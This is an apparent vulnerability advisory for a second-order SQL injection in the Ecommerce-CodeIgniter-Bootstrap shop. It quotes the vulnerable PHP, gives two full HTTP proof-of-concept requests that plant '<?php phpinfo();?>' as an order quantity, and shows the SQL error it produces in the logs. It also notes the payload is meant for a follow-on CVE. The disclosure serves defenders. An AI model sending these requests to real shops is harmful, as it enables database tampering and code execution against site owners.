vendor: kirilkirkov/Ecommerce-CodeIgniter-Bootstrap (github.com)
version: before Vulnerability fixes from Lion Tree · kirilkirkov/Ecommerce-CodeIgniter-Bootstrap@d22b54e (github.com)
A second-order SQL injection vulnerability is in manageQuantitiesAndProcurement
method of application/modules/admin/models/Orders_model.php
.
The $product['product_quantity']
and $product['product_info']['id']
are inserted into SQL statements without any sanitizers.
These two values come from previous query result and users can control them in setOrder
method of application/models/Public_model.php
,
which leads to a SQL injection.
private function manageQuantitiesAndProcurement($id, $to_status, $current)
{
if (($to_status == 0 || $to_status == 2) && $current == 1) {
$operator = '+';
$operator_pro = '-';
}
if ($to_status == 1) {
$operator = '-';
$operator_pro = '+';
}
$this->db->select('products');
$this->db->where('id', $id);
$result = $this->db->get('orders');
$arr = $result->row_array();
$products = unserialize($arr['products']);
foreach ($products as $product) {
if (isset($operator)) {
if (!$this->db->query('UPDATE products SET quantity=quantity' . $operator . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) {
log_message('error', print_r($this->db->error(), true));
show_error(lang('database_error'));
}
}
if (isset($operator_pro)) {
if (!$this->db->query('UPDATE products SET procurement=procurement' . $operator_pro . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) {
log_message('error', print_r($this->db->error(), true));
show_error(lang('database_error'));
}
}
}
}
public function setOrder($post)
{
$q = $this->db->query('SELECT MAX(order_id) as order_id FROM orders');
$rr = $q->row_array();
if ($rr['order_id'] == 0) {
$rr['order_id'] = 1233;
}
$post['order_id'] = $rr['order_id'] + 1;
$i = 0;
$post['products'] = array();
foreach ($post['id'] as $product) {
$post['products'][$product] = $post['quantity'][$i];
$i++;
}
unset($post['id'], $post['quantity']);
$post['date'] = time();
$products_to_order = [];
if(!empty($post['products'])) {
foreach($post['products'] as $pr_id => $pr_qua) {
$products_to_order[] = [
'product_info' => $this->getOneProductForSerialize($pr_id),
'product_quantity' => $pr_qua
];
}
}
$post['products'] = serialize($products_to_order);
$this->db->trans_begin();
if (!$this->db->insert('orders', array(
'order_id' => $post['order_id'],
'products' => $post['products'],
'date' => $post['date'],
'referrer' => $post['referrer'],
'clean_referrer' => $post['clean_referrer'],
'payment_type' => $post['payment_type'],
'paypal_status' => @$post['paypal_status'],
'discount_code' => @$post['discountCode'],
'user_id' => $post['user_id']
))) {
log_message('error', print_r($this->db->error(), true));
}
$lastId = $this->db->insert_id();
if (!$this->db->insert('orders_clients', array(
'for_id' => $lastId,
'first_name' => $this->encryption->encrypt($post['first_name']),
'last_name' => $this->encryption->encrypt($post['last_name']),
'email' => $this->encryption->encrypt($post['email']),
'phone' => $this->encryption->encrypt($post['phone']),
'address' => $this->encryption->encrypt($post['address']),
'city' => $this->encryption->encrypt($post['city']),
'post_code' => $this->encryption->encrypt($post['post_code']),
'notes' => $this->encryption->encrypt($post['notes'])
))) {
log_message('error', print_r($this->db->error(), true));
}
if ($this->db->trans_status() === FALSE) {
$this->db->trans_rollback();
return false;
} else {
$this->db->trans_commit();
return $post['order_id'];
}
}
The steps to reproduce are as follows(Assuming there exists a product):
- Inject malicious SQL statement into orders table (Here I inject
<?php phpinfo();?>
to cause an error in SQL query, which will be used in CVE-2024-31820).
POST /Ecommerce-CodeIgniter-Bootstrap/checkout HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/checkout
Cookie: ci_session=pdjd6p7466aoamfqj94n5dlemovk8d52; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
payment_type=cashOnDelivery&first_name=test&last_name=test&email=test%40test.com&phone=123456&address=test&city=test&post_code=¬es=&discountCode=&id%5B%5D=2&quantity%5B%5D=<?php%20phpinfo();?>&final_amount=100.00&amount_currency=%E2%82%AC&discountAmount=
- When the adminstrator processes this order, malicious SQL statement will be executed.
POST /Ecommerce-CodeIgniter-Bootstrap/admin/changeOrdersOrderStatus HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 948
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/orders
Cookie: ci_session=uorgo8vkqc9u130ejr3bueljd3kaai3v; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
the_id=8&to_status=1&products=a%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A12%3A%22product_info%22%3Ba%3A17%3A%7Bs%3A11%3A%22vendor_name%22%3BN%3Bs%3A9%3A%22vendor_id%22%3Bs%3A1%3A%220%22%3Bs%3A2%3A%22id%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22folder%22%3Bs%3A10%3A%221704214075%22%3Bs%3A5%3A%22image%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22time%22%3Bs%3A10%3A%221704214090%22%3Bs%3A11%3A%22time_update%22%3Bs%3A1%3A%220%22%3Bs%3A10%3A%22visibility%22%3Bs%3A1%3A%221%22%3Bs%3A14%3A%22shop_categorie%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22quantity%22%3Bs%3A5%3A%2210000%22%3Bs%3A11%3A%22procurement%22%3Bs%3A1%3A%220%22%3Bs%3A9%3A%22in_slider%22%3Bs%3A1%3A%220%22%3Bs%3A3%3A%22url%22%3Bs%3A6%3A%22test_2%22%3Bs%3A16%3A%22virtual_products%22%3BN%3Bs%3A8%3A%22brand_id%22%3BN%3Bs%3A8%3A%22position%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22price%22%3Bs%3A3%3A%22100%22%3B%7Ds%3A16%3A%22product_quantity%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3B%7D%7D&userEmail=test%40test.com
In application/logs/log-xxxx.php
, error message of SQL query will appear, which illustrates the presence of SQL injection.
<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
......
ERROR - 2024-01-03 01:24:45 --> Query error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<?php phpinfo();?> WHERE id = 2' at line 1 - Invalid query: UPDATE products SET quantity=quantity-<?php phpinfo();?> WHERE id = 2